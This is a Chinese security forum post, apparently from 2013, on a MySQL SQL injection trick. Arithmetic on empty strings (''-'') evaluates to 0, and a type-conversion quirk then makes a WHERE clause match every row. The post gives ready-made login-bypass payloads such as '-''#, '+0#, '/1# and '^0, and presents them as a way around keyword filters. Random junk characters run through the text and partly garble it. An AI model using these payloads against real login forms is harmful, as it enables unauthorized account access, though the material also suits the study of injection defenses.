找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2166|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。( z* U9 p$ P% L7 l
有以下表结构: 9 k/ m* M9 e- }# w: w, b2 N' ~' H0 o5 p

# X5 y2 q4 h; L% E7 c$ F1 i8 _0 c( `mysql> desc admin;& a( E/ h; ]1 j$ H# d$ q. `5 w
+----------+--------------+------+-----+---------+----------------+2 i  h% \- e8 V/ [
| Field    | Type         | Null | Key | Default | Extra          |, F5 `3 |9 b  @2 W+ P  i; V
+----------+--------------+------+-----+---------+----------------+
- l4 e& o8 r! J6 }: A& I# q* v| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
! [  T2 |0 h# }) j2 H  ]0 M/ l3 f| name     | char(32)     | NO   | UNI | NULL    |                |
& j$ L, i9 {  v' u* l% W| password | char(32)     | NO   | UNI | NULL    |                |
( b' k5 M0 g3 S- S+----------+--------------+------+-----+---------+----------------+
$ Q% T4 ~0 [! U3 rows in set (0.00 sec)( P6 q4 ]" I9 P( M# v
执行select * from admin;,成功返回所有记录内容。
; e3 W/ g+ r( d4 d$ _( y, L# }$ B6 g$ _/ F/ I  k
1 h4 l& u, r$ S1 ^) c4 i' _
+----+--------+----------------------------------+
' \3 D: w* h8 D& L4 l| id | name   | password                         |; W7 S6 j( Q* R) ^
+----+--------+----------------------------------+
4 ^9 c; A: H$ K3 i7 L|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |. S7 _" G( c5 @9 s
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |% v. K- R3 u" P; Z& X
|  4 | n00b   | ff80e8508d39047460921792273533a4 |) g) X9 Q( h" [2 @. i
+----+--------+----------------------------------+; m) r0 n+ x  w
3 rows in set (0.00 sec), W$ x- O% H9 [; O+ ], [6 w
执行select * from admin where name=”;,没有匹配到任何记录。
8 ]9 G; m1 W8 o2 `. R# r$ V& W0 J: |* r! p9 w6 E3 W# `9 F, j
mysql> select * from admin where name = '';
5 |3 G$ M' p. k9 R; j- Q) BEmpty set (0.00 sec)/ i( v( u* T4 D6 l
那么我们来执行select * from admin where name = ”-”;
8 W% G' ]& ?- w7 B2 I% Q  Y/ l: {3 m! F  b5 \' w" v

# A) p% }$ K( T" x6 h& K2 R# p+----+--------+----------------------------------+
$ S' R, Q) ^4 L8 {7 }% l| id | name   | password                         |& K$ l- h$ A1 l: b9 m
+----+--------+----------------------------------+# X0 P; C' {9 m$ |4 X
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |# Z/ I$ g; x  V
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
4 q1 _% I- e" B5 m; @$ u|  4 | n00b   | ff80e8508d39047460921792273533a4 |' C/ i9 r4 }+ k0 k  g$ b
+----+--------+----------------------------------+2 |/ c5 c4 X5 L5 R9 H' u
3 rows in set, 3 warnings (0.00 sec)* |, ^& ]/ W3 w% H
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 9 S3 Y% _. [) ^9 c- |& o6 O

, J' R1 k  ?# u6 W& Z; imysql> show warnings;& P5 c5 o2 q6 c+ s# s+ Z
+---------+------+------------------------------------------
! {- R* z# F1 r1 `| Level   | Code | Message' |; r  r# i! p, _$ J/ Z6 G
+---------+------+------------------------------------------' f3 ?% j) e- H  @. }. y
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin$ z: J3 X. U, z* u5 v
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
5 J" |& S5 B7 Z2 _. O| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
* j$ N4 B/ O, E% c+---------+------+------------------------------------------4 K" O' M# o/ q3 b
3 rows in set (0.00 sec)6 U7 j  \" V/ H) @
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
$ @/ E) N' U! O: I+ c" Z. t4 a* s3 U
mysql> select ''-'';6 U$ {' R! H3 I7 D0 m7 x3 W' @# E3 t
+-------+
2 m3 U: l/ @- x/ W7 i( L, P| ''-'' |
+ b+ n/ e1 [* \+-------+
0 p8 P+ o. v+ A3 L6 E  r|     0 |
6 B/ Z# {" v$ `4 X+-------+
8 y( @/ R9 p# y- y. y& t; ]1 row in set (0.00 sec)
5 C( w) U. j: m5 B3 e# ~. e! F5 v返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 5 T/ ^& ?: B  O

6 T1 B' |7 X$ mmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
! ^1 C4 t5 t  b0 `/ G8 O4 b& e+-----------------------------------------------------+
' |' G6 p1 g. l) |5 t; g| CAST((select name from admin limit 1,1) as DECIMAL) |
2 ^: l! \# ^  B7 v' f+ j+-----------------------------------------------------+
! q& m6 `1 E4 w/ @% I|                                                   0 |2 M7 a6 h% I3 j9 u* J- A
+-----------------------------------------------------+/ c; t: a1 P  F4 M$ w; a! B
1 row in set, 1 warning (0.00 sec)2 v4 }. e+ \2 N' X* ~" c" ~
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 $ @* G3 q+ G9 p
/ H8 ~4 ]4 k8 e
SQL注入场景: http://www.sqlzoo.net/hack/
  d! p! N5 ]) s9 P3 h4 j" o# d4 e( ]! o1 h' X. {+ n5 ^
8 ^8 _% F/ |/ s8 T0 o
, U) R% ]0 Z' b5 L# [+ d
! K2 [% O  o0 a# ^6 B% U- F
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
& U8 B! i4 f! s; w, I. w
1 Y. x" V# F2 W! N& o! D" y& g那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 % P! @: I) i9 a+ Z
$ g  n/ S* _6 U# k

* |" V# z- @4 }1 ?; k1 c9 A* F% t/ X. ?2 X. n9 `( }

  j" {( V0 H. p4 X0 B仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
: G& [/ q0 W$ R, n0 w, N; b# P* E7 m
/ i9 b' R# E3 V% X   . E) \) p9 z( O. N4 ^7 z

3 a' s3 j* h" i9 U除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可- J0 M$ |, @$ y( s
" I  K. D' z' B7 m, G
2 ^  n  {/ _! \& ~/ C$ y6 g
mysql> select ''/1;
. t0 v& e! ^2 E: v  w' M+------+4 b( q, Q; U& Q# N% I/ j5 w
| ''/1 |
4 l& g/ g! e  p7 ]  X+------++ s& q8 c8 I) y% s5 @4 L/ d
|    0 |% }$ e2 j( j3 h9 Q) r3 B# W
+------+
3 x# ]4 p  L- u  r1 row in set (0.00 sec)
; H7 L8 K  z" O* g1 x: `, E2 J+ b: S类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  & C% \1 Z% T& k: V; P! O) u- V& C

; |0 }2 ]  e4 k/ ], i3 \, G- d利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
" u7 {8 z$ g$ t3 m. s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表